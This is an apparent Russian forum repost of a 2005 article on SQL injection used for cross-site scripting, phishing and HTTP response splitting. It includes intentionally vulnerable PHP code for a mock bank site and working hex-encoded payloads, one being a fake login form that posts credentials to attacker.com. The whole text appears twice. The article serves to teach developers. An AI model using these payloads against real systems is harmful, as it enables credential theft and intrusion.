SDA
30.08.2005, 21:52
Ещё более продвинутый SQL Injection (SiXSS, SiHRS и SQL Injection на
стороне клиента).
Насколько опасна уязвимость SQL Injection ?
Предполагается, что с её помощью можно получить информацию со стороны
сервера, выполнить произвольные команды,
получить привилегии
Администратора на веб форумах и т.д. Короче говоря, SQL Injection
предполагает наличие уязвимости на стороне
сервера,
но иногда это может произойти и
на стороне клиента. На данный момент, на веб серверах, широко используются
системы управления контентом
(CSM - Content Management System). Применяется CSM по многим причинам,
одной из причин является работа с текстом и URL-ами.
В этой статье описываются несколько альтернативных способов применения SQL
Injection.
Предположим, что мы разработали CSM и эту CSM будем использовать в
банке...
Допустим, что мы случайным образом оставили SQL Injection на нашей
страничке.
Подождите! Без паники!
Мы создадим пользователя у которого не будет прав на чтиние/запись в файлы.
Удалим с сервера всю чувствительную
информацию
из баз данных, уберем форум, вообщем вытрем все, оставим один сервер.
Но все же останется несколько проблем ....
- XSS
- Phishing
- склеивание HTTP ответов. (HTTP Response Splitting)
SiXSS -SQL Injection для Cross Site Scripting
Условия
Предположим у нас имеется БД и эта БД будет как эта :
# The cms.sql file
CREATE DATABASE cms;
USE cms;
GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE content_table (
id INT PRIMARY KEY AUTO_INCREMENT,
content TEXT
);
INSERT INTO content_table (content) VALUES
('My Bank
[p]
User:
[input type="text" name="username"]
Password:
[input type="password" name="pass"]
[input type=submit value="LogIn"]
');
и PHP файл как этот :*
*
index.php
My Bank
[?
if(@isset($_GET['id'])){
$myconns=@mysql_connect("127.0.0.1","user_noprivs","unbr34k4bё3!") or
die("sorry can't connect");
@mysql_select_db("cms") or die("sorry can't select DB");
$sql_query = @mysql_query(
"select content from content_table where id=".$_GET['id']) or die("Sorry
wrong
SQL Query");
// oops SQL Injection-^
while($tmp = @mysql_fetch_row($sql_query))
echo $tmp[0]; //echoes the result as HTML code
}else{
echo "Welcome to My Bank
".Login."";
}
?]
Как видно, результаты запроса к MySQL должны будут передаватся
пользователю.
Ну что-ж, условия определены, давайте посмотрим на страничку.
На ней мы не увидим ничего особенного.
Зайдя на страничку и кликнув по ссылке, пользователь получит приглашение на
авторизацию.
Вывод.
Проблема появляется в случае, когда некоторый текст из БД поступает сразу в
HTML страницу.
Если мы попытаемся использовать классическую или продвинутую атаку SQL
Injection, мы получим некоторую
информацию о SQL сервере
и ничего больше.
Ни дефейса, ни прав на чтение/запись...
Но появляется уязвимость на стороне клиента.
Использую UNION SELECT злоумышленник сможет внедрить произольный текст.
Атака.
Давайте сделаем небольшой трюк, чтобы обойти включенные gpc_magick_quotes
используя "0xXX" HEX вместо текста:
mysql] select HEX('alert(“SiXSS”);');
+-------------------------------------------------------------------------------------------------+
| HEX('alert("SiXSS");')
|
+-------------------------------------------------------------------------------------------------+
| 3C7363726970743E616C6572742822536958535322293B3C2F 7363726970743E |
+-------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
и вставим это в HTTP запрос :
http://
www.mybank.com?id=1+union+select+0x3C7363726970743 E616C6572742822536958535322293B3C2F7363726970743E
Ответом будет та же страничка, но вдобавок на стороне клиента исполнится
наш скрипт
(alert(“SiXSS”);).
Это и будет SQL Injection для Cross Site Scripting (SiXSS)
Но что произодет при отключенных Javascripts ?
Ничего.
Атака Phishing.
Теперь, гипотетически, возможно использовать новые достижение в Phishing'e,
так как мы теперь можем внедрять
произвольный HTML код.
Это означает : никаких потдельных URL в адресе, кнопок, троянов,
шпионов...
Давайте проделаем тот-же трюк для внедрения нашего HTML кода :
mysql] select HEX('My Bank[p]User:[input type="text"
name="username"]Password:[input
type="password"
name="pass"][input type=submit
value="LogIn"]');
Результатом будет :
3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20 616374696F6E3D22687474703A2F2F61747461636B65722E63
6F6D2F636865636B2E70687022206D6574686F643D706F7374 3E3C5461626C653E3C74723E3C74643E557365723A3C2F7464
3E3C74643E3C696E70757420747970653D227465787422206E 616D653D22757365726E616D65223E3C2F74643E3C2F74723E
3C74723E3C74643E50617373776F72643A3C2F74643E3C7464 3E3C696E70757420747970653D2270617373776F726422206E
616D653D2270617373223E3C2F74643E3C2F74723E3C74723E 3C74643E3C696E70757420747970653D7375626D6974207661
6C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F74 61626C653E3C2F666F726D3E
осталось только одно: давайте скроем вывод правой части.
для этого применим ещё один трюк, вместо "SELECT" вставим "AND 1=3" и добам
наш UNION:
http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+
0x3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D 20616374696F6E3D22687474703A2F2F61747461636B65722E
636F6D2F636865636B2E70687022206D6574686F643D706F73 743E3C5461626C653E3C74723E3C74643E557365723A3C2F74
643E3C74643E3C696E70757420747970653D22746578742220 6E616D653D22757365726E616D65223E3C2F74643E3C2F7472
3E3C74723E3C74643E50617373776F72643A3C2F74643E3C74 643E3C696E70757420747970653D2270617373776F72642220
6E616D653D2270617373223E3C2F74643E3C2F74723E3C7472 3E3C74643E3C696E70757420747970653D7375626D69742076
616C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F 7461626C653E3C2F666F726D3
Вот что произойдет, когда пошлем этот URL :
$ curl “http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+0x3C... ”
My Bank
My Bank[p]User:[input type="text"
name="username"]Password:[input type="password"
name="pass"][input type=submit
value="LogIn"]
Вместо нормального HTML кода :
$ curl “http://www.mybank.com?id=1”
My Bank
My Bank[p]User:[input
type="text" name="username"]Password:[input
type="password"
name="pass"][input type=submit
value="LogIn"]
Это SQL Injection для Phishing.
SiHRS -SQL Injection для склеивания HTTP ответов (HTTP Response
Splitting).
В CMS или других системах, иногда бывает так, что требуется произвести
индексацию URL, для быстрого возвращения
URL основываясь на "ID"
Представим ту же ситуацию, как и для SiXSS, но на этот раз перенаправление
на URL.
Как это :
CREATE DATABASE url_db;
USE url_db;
GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE url_table (
id INT PRIMARY KEY AUTO_INCREMENT,
url TEXT
);
INSERT INTO url_table (url) VALUES
('https://brokerage.mybank.com/login.php');
для "url_db.sql" и :
[?
if(isset($_GET['id'])){
$myconns=mysql_connect("127.0.0.1","user2_nopriv","unbr34k4bё3!") or
die("sorry can't connect");
mysql_select_db("url_db") or die("sorry can't select DB");
$sql_query = mysql_query("select url from url_table where
id=".$_GET['id']." LIMIT 1") or die
("sorry3");
$tmp = mysql_fetch_row($sql_query);
header("Location: ".$tmp[0]);
}else
header("Location: http://www.mybank.com/index.php");
?]
для перенаправляющего скрипта "redir.php"
Это означает, что если запрос будет вида :
$ curl “http://www.mybank.com/redir.php?id=1” -I
то нас направят на :
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT
Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk)
mod_perl/1.99_11
Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/login.php
Content-Type: text/html
Это теоретическое предположение о возможной атаке склеивания HTTP ответов.
Вывод
Проблема появляется в случае, когда индексация URL для перенаправления
получает информацию из БД используя поле
"Location" в HTTP заголовке.
Проведем тесты, как с SiXSS и Phishing.
Условия те же что и при SiXSS, но здесь ещё проще использовать UNION SELECT
для внедрения строки.
Атака
Только для того что бы подтвердить теорию, проведем простую атаку :
mysql] select HEX('index.php
'] Content-Length: 0
']
'] HTTP/1.1 200 OK
'] Content-Type: text/html
'] Content-Length: 19
']
']
Shazam
'] ');
в HEX кодировке будет следующее :
696E6465782E7068700A436F6E74656E742D4C656E6774683A 20300D0A0D0A485454502F312E3120323030204F4B0D0A436F
6E74656E742D547970653A20746578742F68746D6C0D0A436F 6E74656E742D4C656E6774683A2031390D0A0D0A3C68746D6C
3E5368617A616D3C2F68746D6C3E0D0A
Теперь пошлем наш запрос :
$ echo -ne "GET /redir.php?id=1+and+2%3d%
34+union+select+0x696E6465782E7068700A436F6E74656E 742D4C656E6774683A20300D0A0D0A485454502F312E312032
3030204F4B0D0A436F6E74656E742D547970653A2074657874 2F68746D6C0D0A436F6E74656E742D4C656E6774683A203139
0D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A HTTP/1.1
Host: www.mybank.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
" |nc www.mybank.com 80
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 22:58:21 GMT
Server: Apache PHP/4.3.8
X-Powered-By: PHP/4.3.8
Location: index.php
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
Shazam
Content-Length: 0
Content-Type: text/html
Каждый поймет что произошло.
Это SQL Injection для склеивания HTTP ответов.
Дополнительно
Что произойдет, если :
echo $tmp[0]; //echoes the result as HTML code
в index.php будет стоять eval () ?
eval( $tmp[0]); //eval the related php code placed in a db..
Будет очень плохо...
Используя UNION SELECT вы сможем внедрить PHP код, что приводит к
возникновению уязвимости на стороне сервера.
Как правило такая техника не используется для CMS, но, в конце концов, кто
знает ?
"Just let Fantasy be your ship in the Stream of
Consciousness"©...
Заключение.
Мы увидели, что произойдет, если разработчик будет уделять слишком много
внимания хорошой конфигурации сервера,
и совершенно не заботиться при этом о безопасности кода.
В частности, мы видели, как при очень защищенном сервере, возможно было
провести атаку SQL Injection.
http://www.wisec.it/
Примечание: символы <,> были заменены на [,] по понятной причине.
стороне клиента).
Насколько опасна уязвимость SQL Injection ?
Предполагается, что с её помощью можно получить информацию со стороны
сервера, выполнить произвольные команды,
получить привилегии
Администратора на веб форумах и т.д. Короче говоря, SQL Injection
предполагает наличие уязвимости на стороне
сервера,
но иногда это может произойти и
на стороне клиента. На данный момент, на веб серверах, широко используются
системы управления контентом
(CSM - Content Management System). Применяется CSM по многим причинам,
одной из причин является работа с текстом и URL-ами.
В этой статье описываются несколько альтернативных способов применения SQL
Injection.
Предположим, что мы разработали CSM и эту CSM будем использовать в
банке...
Допустим, что мы случайным образом оставили SQL Injection на нашей
страничке.
Подождите! Без паники!
Мы создадим пользователя у которого не будет прав на чтиние/запись в файлы.
Удалим с сервера всю чувствительную
информацию
из баз данных, уберем форум, вообщем вытрем все, оставим один сервер.
Но все же останется несколько проблем ....
- XSS
- Phishing
- склеивание HTTP ответов. (HTTP Response Splitting)
SiXSS -SQL Injection для Cross Site Scripting
Условия
Предположим у нас имеется БД и эта БД будет как эта :
# The cms.sql file
CREATE DATABASE cms;
USE cms;
GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE content_table (
id INT PRIMARY KEY AUTO_INCREMENT,
content TEXT
);
INSERT INTO content_table (content) VALUES
('My Bank
[p]
User:
[input type="text" name="username"]
Password:
[input type="password" name="pass"]
[input type=submit value="LogIn"]
');
и PHP файл как этот :*
*
index.php
My Bank
[?
if(@isset($_GET['id'])){
$myconns=@mysql_connect("127.0.0.1","user_noprivs","unbr34k4bё3!") or
die("sorry can't connect");
@mysql_select_db("cms") or die("sorry can't select DB");
$sql_query = @mysql_query(
"select content from content_table where id=".$_GET['id']) or die("Sorry
wrong
SQL Query");
// oops SQL Injection-^
while($tmp = @mysql_fetch_row($sql_query))
echo $tmp[0]; //echoes the result as HTML code
}else{
echo "Welcome to My Bank
".Login."";
}
?]
Как видно, результаты запроса к MySQL должны будут передаватся
пользователю.
Ну что-ж, условия определены, давайте посмотрим на страничку.
На ней мы не увидим ничего особенного.
Зайдя на страничку и кликнув по ссылке, пользователь получит приглашение на
авторизацию.
Вывод.
Проблема появляется в случае, когда некоторый текст из БД поступает сразу в
HTML страницу.
Если мы попытаемся использовать классическую или продвинутую атаку SQL
Injection, мы получим некоторую
информацию о SQL сервере
и ничего больше.
Ни дефейса, ни прав на чтение/запись...
Но появляется уязвимость на стороне клиента.
Использую UNION SELECT злоумышленник сможет внедрить произольный текст.
Атака.
Давайте сделаем небольшой трюк, чтобы обойти включенные gpc_magick_quotes
используя "0xXX" HEX вместо текста:
mysql] select HEX('alert(“SiXSS”);');
+-------------------------------------------------------------------------------------------------+
| HEX('alert("SiXSS");')
|
+-------------------------------------------------------------------------------------------------+
| 3C7363726970743E616C6572742822536958535322293B3C2F 7363726970743E |
+-------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
и вставим это в HTTP запрос :
http://
www.mybank.com?id=1+union+select+0x3C7363726970743 E616C6572742822536958535322293B3C2F7363726970743E
Ответом будет та же страничка, но вдобавок на стороне клиента исполнится
наш скрипт
(alert(“SiXSS”);).
Это и будет SQL Injection для Cross Site Scripting (SiXSS)
Но что произодет при отключенных Javascripts ?
Ничего.
Атака Phishing.
Теперь, гипотетически, возможно использовать новые достижение в Phishing'e,
так как мы теперь можем внедрять
произвольный HTML код.
Это означает : никаких потдельных URL в адресе, кнопок, троянов,
шпионов...
Давайте проделаем тот-же трюк для внедрения нашего HTML кода :
mysql] select HEX('My Bank[p]User:[input type="text"
name="username"]Password:[input
type="password"
name="pass"][input type=submit
value="LogIn"]');
Результатом будет :
3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20 616374696F6E3D22687474703A2F2F61747461636B65722E63
6F6D2F636865636B2E70687022206D6574686F643D706F7374 3E3C5461626C653E3C74723E3C74643E557365723A3C2F7464
3E3C74643E3C696E70757420747970653D227465787422206E 616D653D22757365726E616D65223E3C2F74643E3C2F74723E
3C74723E3C74643E50617373776F72643A3C2F74643E3C7464 3E3C696E70757420747970653D2270617373776F726422206E
616D653D2270617373223E3C2F74643E3C2F74723E3C74723E 3C74643E3C696E70757420747970653D7375626D6974207661
6C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F74 61626C653E3C2F666F726D3E
осталось только одно: давайте скроем вывод правой части.
для этого применим ещё один трюк, вместо "SELECT" вставим "AND 1=3" и добам
наш UNION:
http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+
0x3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D 20616374696F6E3D22687474703A2F2F61747461636B65722E
636F6D2F636865636B2E70687022206D6574686F643D706F73 743E3C5461626C653E3C74723E3C74643E557365723A3C2F74
643E3C74643E3C696E70757420747970653D22746578742220 6E616D653D22757365726E616D65223E3C2F74643E3C2F7472
3E3C74723E3C74643E50617373776F72643A3C2F74643E3C74 643E3C696E70757420747970653D2270617373776F72642220
6E616D653D2270617373223E3C2F74643E3C2F74723E3C7472 3E3C74643E3C696E70757420747970653D7375626D69742076
616C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F 7461626C653E3C2F666F726D3
Вот что произойдет, когда пошлем этот URL :
$ curl “http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+0x3C... ”
My Bank
My Bank[p]User:[input type="text"
name="username"]Password:[input type="password"
name="pass"][input type=submit
value="LogIn"]
Вместо нормального HTML кода :
$ curl “http://www.mybank.com?id=1”
My Bank
My Bank[p]User:[input
type="text" name="username"]Password:[input
type="password"
name="pass"][input type=submit
value="LogIn"]
Это SQL Injection для Phishing.
SiHRS -SQL Injection для склеивания HTTP ответов (HTTP Response
Splitting).
В CMS или других системах, иногда бывает так, что требуется произвести
индексацию URL, для быстрого возвращения
URL основываясь на "ID"
Представим ту же ситуацию, как и для SiXSS, но на этот раз перенаправление
на URL.
Как это :
CREATE DATABASE url_db;
USE url_db;
GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE url_table (
id INT PRIMARY KEY AUTO_INCREMENT,
url TEXT
);
INSERT INTO url_table (url) VALUES
('https://brokerage.mybank.com/login.php');
для "url_db.sql" и :
[?
if(isset($_GET['id'])){
$myconns=mysql_connect("127.0.0.1","user2_nopriv","unbr34k4bё3!") or
die("sorry can't connect");
mysql_select_db("url_db") or die("sorry can't select DB");
$sql_query = mysql_query("select url from url_table where
id=".$_GET['id']." LIMIT 1") or die
("sorry3");
$tmp = mysql_fetch_row($sql_query);
header("Location: ".$tmp[0]);
}else
header("Location: http://www.mybank.com/index.php");
?]
для перенаправляющего скрипта "redir.php"
Это означает, что если запрос будет вида :
$ curl “http://www.mybank.com/redir.php?id=1” -I
то нас направят на :
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT
Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk)
mod_perl/1.99_11
Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/login.php
Content-Type: text/html
Это теоретическое предположение о возможной атаке склеивания HTTP ответов.
Вывод
Проблема появляется в случае, когда индексация URL для перенаправления
получает информацию из БД используя поле
"Location" в HTTP заголовке.
Проведем тесты, как с SiXSS и Phishing.
Условия те же что и при SiXSS, но здесь ещё проще использовать UNION SELECT
для внедрения строки.
Атака
Только для того что бы подтвердить теорию, проведем простую атаку :
mysql] select HEX('index.php
'] Content-Length: 0
']
'] HTTP/1.1 200 OK
'] Content-Type: text/html
'] Content-Length: 19
']
']
Shazam
'] ');
в HEX кодировке будет следующее :
696E6465782E7068700A436F6E74656E742D4C656E6774683A 20300D0A0D0A485454502F312E3120323030204F4B0D0A436F
6E74656E742D547970653A20746578742F68746D6C0D0A436F 6E74656E742D4C656E6774683A2031390D0A0D0A3C68746D6C
3E5368617A616D3C2F68746D6C3E0D0A
Теперь пошлем наш запрос :
$ echo -ne "GET /redir.php?id=1+and+2%3d%
34+union+select+0x696E6465782E7068700A436F6E74656E 742D4C656E6774683A20300D0A0D0A485454502F312E312032
3030204F4B0D0A436F6E74656E742D547970653A2074657874 2F68746D6C0D0A436F6E74656E742D4C656E6774683A203139
0D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A HTTP/1.1
Host: www.mybank.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
" |nc www.mybank.com 80
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 22:58:21 GMT
Server: Apache PHP/4.3.8
X-Powered-By: PHP/4.3.8
Location: index.php
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
Shazam
Content-Length: 0
Content-Type: text/html
Каждый поймет что произошло.
Это SQL Injection для склеивания HTTP ответов.
Дополнительно
Что произойдет, если :
echo $tmp[0]; //echoes the result as HTML code
в index.php будет стоять eval () ?
eval( $tmp[0]); //eval the related php code placed in a db..
Будет очень плохо...
Используя UNION SELECT вы сможем внедрить PHP код, что приводит к
возникновению уязвимости на стороне сервера.
Как правило такая техника не используется для CMS, но, в конце концов, кто
знает ?
"Just let Fantasy be your ship in the Stream of
Consciousness"©...
Заключение.
Мы увидели, что произойдет, если разработчик будет уделять слишком много
внимания хорошой конфигурации сервера,
и совершенно не заботиться при этом о безопасности кода.
В частности, мы видели, как при очень защищенном сервере, возможно было
провести атаку SQL Injection.
http://www.wisec.it/
Примечание: символы <,> были заменены на [,] по понятной причине.